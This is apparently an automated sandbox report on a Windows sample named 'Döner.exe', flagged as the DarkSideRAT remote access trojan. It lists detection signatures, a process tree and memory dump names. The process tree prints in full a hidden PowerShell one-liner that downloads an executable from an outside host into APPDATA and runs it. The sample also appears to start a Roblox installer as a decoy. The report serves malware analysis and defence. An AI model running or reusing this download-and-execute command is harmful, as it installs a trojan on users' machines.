Analysis
- user interaction
yes - max time kernel
43s - max time network
79s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-de - resource tags
- submitted
01/08/2026, 22:46
General
- Target Döner.exe
- Size 11.6MB
- Sample260801-2qdfesaa62
- SHA256 ac9f0b87f15ed47fa88c584cb8b8bee45a56965ad2199355b7c30c427fa7be4c
Malware Config
Signatures
- Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
- Detects DarkSideRAT 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Döner.exe"C:\Users\Admin\AppData\Local\Temp\Döner.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK781222.exe; Start-Process -FilePath $env:APPDATA\BK781222.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK781222.exe; Start-Process -FilePath $env:APPDATA\BK781222.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK781222.exe; Start-Process -FilePath $env:APPDATA\BK781222.exe -WindowStyle Hidden }"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Roaming\BK781222.exe"C:\Users\Admin\AppData\Roaming\BK781222.exe"5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\version-ad5d3e2906444472-RobloxPlayerInstaller.exe"C:\Users\Admin\AppData\Local\Temp\version-ad5d3e2906444472-RobloxPlayerInstaller.exe"2⤵
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
RobloxStudioInstaller.exe
version-ad5d3e2906444472-RobloxPlayerInstaller.exe
BK781222.exe
memory/4232-13-0x00007FFC70E70000-0x00007FFC71814000-memory.dmp
memory/4232-15-0x00007FFC70E70000-0x00007FFC71814000-memory.dmp
memory/4232-7-0x0000024698750000-0x0000024698760000-memory.dmp
memory/4232-11-0x00007FFC70E70000-0x00007FFC71814000-memory.dmp
memory/4232-12-0x00000246B0AF0000-0x00000246B0BF4000-memory.dmp
memory/4232-0-0x00007FFC70FFF000-0x00007FFC71000000-memory.dmp
memory/4232-14-0x00007FFC70E70000-0x00007FFC71814000-memory.dmp
memory/4232-4-0x00000246B08A0000-0x00000246B08C2000-memory.dmp
memory/4232-17-0x00007FFC70E70000-0x00007FFC71814000-memory.dmp
memory/4232-16-0x00007FFC70E70000-0x00007FFC71814000-memory.dmp
memory/4232-18-0x00000246B09C0000-0x00000246B09D6000-memory.dmp
memory/4232-6-0x00007FFC70E70000-0x00007FFC71814000-memory.dmp
memory/4232-1-0x00000246B0930000-0x00000246B09B6000-memory.dmp
memory/4232-33-0x00007FFC70E70000-0x00007FFC71814000-memory.dmp
memory/4232-2-0x00007FFC70E70000-0x00007FFC71814000-memory.dmp